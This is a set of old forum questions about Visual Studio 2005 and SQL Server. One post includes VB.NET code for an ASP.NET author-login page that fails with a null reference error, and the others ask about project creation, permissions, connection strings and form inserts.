Help! I have posted this before and I had hoped that the VS2005 SP1 would help my problem. It didn't. My code is shown below. I have dropped a sqlconnection, sqldataadapter and a strongly-typed dataset from the toolbox onto the component designer for my page and written my code. It compiles without any errors but at runtine I receive the system error "Object reference not set to an instance of an object." The error occurs at the first line where the sqldataadapter is mentioned. I have shufflled the code and the error still occurs at first mention of the dataadapter. I have set parameters to a simple string such as "myemail." It hasn't helped. I have used the "Dim" statement as "Dim DaAuthorLogin as System.Data.SqlClient.SqlDataadapter and Dim DaAuthorLogin as New ......) at the start of the private sub generated by the event requiring the data. Nothing helps. Here is my simple code to select data from a sqlserver 2000 database. Why do I continue to get this error? Partial Class AuthorLogin Inherits System.Web.UI.Page Protected WithEvents AuthorInformation As System.Web.UI.Page #Region " Web Form Designer Generated Code " 'This call is required by the Web Form Designer. <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent() Me.SqlSelectCommand1 = New System.Data.SqlClient.SqlCommand Me.DaAuthorLogin = New System.Data.SqlClient.SqlDataAdapter Me.MDData = New System.Data.SqlClient.SqlConnection Me.DsAuthorLogin = New MedicalDecisions.DsAuthorLogin CType(Me.DsAuthorLogin, System.ComponentModel.ISupportInitialize).BeginInit() ' 'SqlSelectCommand1 ' Me.SqlSelectCommand1.CommandText = "SELECT AuthorAlias, AuthorEmail, AuthorPassword, LastName, PreferredName" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "FRO" & _ "M T_Author" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "WHERE (AuthorEmail = @AuthorEmail) AND (AuthorPassword =" & _ " @AuthorPassword)" Me.SqlSelectCommand1.Connection = Me.MDData Me.SqlSelectCommand1.Parameters.AddRange(New System.Data.SqlClient.SqlParameter() {New System.Data.SqlClient.SqlParameter("@AuthorEmail", System.Data.SqlDbType.NVarChar, 50, "AuthorEmail"), New System.Data.SqlClient.SqlParameter("@AuthorPassword", System.Data.SqlDbType.NVarChar, 50, "AuthorPassword")}) ' 'DaAuthorLogin ' Me.DaAuthorLogin.SelectCommand = Me.SqlSelectCommand1 Me.DaAuthorLogin.TableMappings.AddRange(New System.Data.Common.DataTableMapping() {New System.Data.Common.DataTableMapping("Table", "T_Author", New System.Data.Common.DataColumnMapping() {New System.Data.Common.DataColumnMapping("AuthorAlias", "AuthorAlias"), New System.Data.Common.DataColumnMapping("AuthorEmail", "AuthorEmail"), New System.Data.Common.DataColumnMapping("AuthorPassword", "AuthorPassword"), New System.Data.Common.DataColumnMapping("LastName", "LastName"), New System.Data.Common.DataColumnMapping("PreferredName", "PreferredName")})}) ' 'MDData ' Me.MDData.ConnectionString = "Data Source=CIS1022DAVID;Initial Catalog=CGData;Integrated Security=True;Pooling" & _ "=False" Me.MDData.FireInfoMessageEventOnUserErrors = False ' 'DsAuthorLogin ' Me.DsAuthorLogin.DataSetName = "DsAuthorLogin" Me.DsAuthorLogin.SchemaSerializationMode = System.Data.SchemaSerializationMode.IncludeSchema CType(Me.DsAuthorLogin, System.ComponentModel.ISupportInitialize).EndInit() End Sub Friend WithEvents SqlSelectCommand1 As System.Data.SqlClient.SqlCommand Friend WithEvents MDData As System.Data.SqlClient.SqlConnection Friend WithEvents DaAuthorLogin As System.Data.SqlClient.SqlDataAdapter Friend WithEvents DsAuthorLogin As MedicalDecisions.DsAuthorLogin 'NOTE: The following placeholder declaration is required by the Web Form Designer. 'Do not delete or move it. Private designerPlaceholderDeclaration As System.Object Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) 'CODEGEN: This method call is required by the Web Form Designer 'Do not modify it using the code editor. InitializeComponent() End Sub #End Region Private Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) 'no code here End Sub Private Sub AuthorLoginRegister_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AuthorLoginRegister.Click 'for new author registration Response.Redirect("AuthorInformation.aspx") End Sub Private Sub AuthorLoginBack_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AuthorLoginBack.Click 'to navigate back Response.Redirect("MainPaths.aspx") End Sub Protected Sub AuthorLoginPassword_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AuthorLoginPassword.TextChanged 'pass the parameters to the dataadapter and return dataset DaAuthorLogin.SelectCommand.Parameters("@AuthorEmail").Value = AuthorLoginEmail.Text DaAuthorLogin.SelectCommand.Parameters("@AuthorPassword").Value = AuthorLoginPassword.Text MDData.Open() DaAuthorLogin.Fill(DsAuthorLogin, "T_Author") MDData.Close() 'set session objects If DsAuthorLogin.T_Author.Rows.Count > 0 Then Session("AuthorAlias") = DsAuthorLogin.T_Author(0).AuthorAlias Session("LastName") = DsAuthorLogin.T_Author(0).LastName Session("PreferredName") = DsAuthorLogin.T_Author(0).PreferredName Response.Redirect("AuthorPaths.aspx") Else : AuthorLoginNotValid.Visible = True AuthorLoginEmail.Text = "" AuthorLoginPassword.Text = "" End If End Sub End Class
Just installed VS 2005 & SQLServer 2005 clients on my workstation. When trying to create a new Integration Services Project and start work in the designer receive the MICROSOFT VISUAL STUDIO 'Object reference not set to an instance of an object.' dialog box with message "Creating project 'Integration Services project1'...project creation failed."
Previously I had SQLServer 2000 client with the little VS tool that came with it installed. Uninstalled these prior to installing the 2005 tools (VS and SQLServer).
I'm not finding any information on corrective action for this error.
Hi There,This is related to a ms access database but since I use the SqlDataSource control I thought I should post here.I have a project that I was working on with this ms access db and using sql controls, everything was working just finesince one day I started getting "Object reference not set to an instance of an object" messages when I try to designa query or retrieve a schema, nothing works at design time anymore but at runtime everything is perfect, its a lotof work for me now to create columns,schemas and everything manually, I've tried reinstalling visualstudio, ado componentsbut nothing seems to fix it, did this ever happen to any of you guys?any tip is really appreciated thanks a lot
Writing to tables created by regular users on MSSQL2005
I have users creating tables through an application, I gave them ddl_admin, datareader, datawriter. They can create tables but cannot insert/update data (to their own tables), I cannot insert data either using Access or any other application to those tables created by them (under dbo schema) Is there something I am missing with permissions? Thank you very much
I am having a problem with connecting to SQL Server 2005 database from Office Business Scorecard Manager 2005 (the connection string i am using is: provider=SQLOLEDB;Data source=server_name; Initial catalog=database_name). But the connection failed. Would please any experts here shed me any light on what is the problem and how to fix it then? As there is no any forum for Office Business Scrorecard manager 2005. Therefore I post my thread here as it is related to the connection to SQL Server 2005 database engine, thought here is the best place for this question.
Thank you very in advance for your kind advices and help. And I am looking forward to hearing from you soon.
Hello, My company Intranet has a form that agents can use to post their comments about the company to upper management, but our customer service department would like to modify the form so that the agent has to pick from a comment type. The dropdown options on the form will be as follows: ComplimentsComplaintsGeneral CommentsSuggestions Each dropdown option has a designated table in a SQL DB.Using postback on the same page, I need to change which fields of the form are visible based upon which dropdown selection the user chooses, and I need the fields to then be inserted into the table that corresponds with the dropdown selection item. For example: If the Compliments dropdown selection is picked, I need a text box to show for the user's location, the name of the customer, account number, and the message box. Once the submit button is clicked, the characters in these boxes need to be inserted into the Compliments table using its data adapter. However, if the user selects Suggestions, the name of the customer and the account number should not be visible, since these fields do not exist and when the submit button is pressed, the Suggestions table should be updated. If you need more information, I will provide whatever is needed. As always, thanks for everyone's assistance. Chris
HiI am using Visual Web Developer 2005 Express and SQL Server Express 2005.From Northwind I can display data to Gridview.Could someone point me in the right direction on two points.How do I start a new database (.mdf) - I cannot find this option.I can change Northwind around - but I want to start my own database. Once I have that sorted - how can I "insert" data into database using a dropdown box?A "dropdown" box such as you would find online. Thanks in advance.Stephen
Bear with me plase as I am nto very familiar with the coding world. The project I am working on is giving me troubles. I am trying to set up a form that can be used on line for our sales staff. It is a call activity form that I was hoping to submit to the DB I Have created in SQL. I would like the sales staff to fill out this form and then have their information transferred to the DB so that I can generate reports from that data. The trouble I am having is getting the intial connection to the DB opened up using the submit button on the form. I go into the code behind the page, and I have entered many scripts with no success. I continue to see that I receive erros when I try to use the opening line: Dim cn As New ADODB.Connection
If anyone out there has some sample scripting that would help me with this, I would really appreciate it. Thank you.